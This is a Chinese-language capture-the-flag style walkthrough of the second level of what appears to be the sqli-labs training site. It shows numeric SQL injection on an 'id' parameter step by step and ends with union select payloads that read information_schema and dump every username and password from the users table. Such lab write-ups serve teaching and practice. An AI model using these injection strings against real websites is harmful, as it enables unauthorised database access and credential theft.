打开第二关页面,可以看到提示输入id参数
输入任意数字,可查询出对应的数据
存在可变参数id,注入可能存在。
1、判断注入点及注入类型
and 1=1 页面正常
and 1=2 页面异常或出错
确定注入点为id,注入类型为数字型注入。
2、判断字段数
order by 10 页面提示没有列数10
逐步采用二分法进行列数判断
直到order by 3时,页面正常
order by 4 页面报错
由此确定,字段数为3(介于正常与报错之间的正常值)。
3、判断回显位置
联合查询union select,这里注意要让前面的查询报错,这样页面在联合查询的情况下,会显示出后半部分查询出来的数据,如本题中在ID前面加个负号,因为id值不为负。这样前面出错的情况下,就可以查询出后面数据的回显位置。
确定回显位置为2,3。
4、爆数据库,版本,当前数据库用户等信息
数据库:security
版本:5.5.53
5、爆数据库中表名
group_concat(table_name) from information_schema.tables where table_schema=database()%23
得到数据库中的表有:emails,referers,uagents,users
6、查询指定表users中的列名
group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'%23
users表中的列名有id,username,password
7、查询users表中的数据
select 1,group_concat(username),group_concat(password) from users%23
至此,得到所有用户名和密码。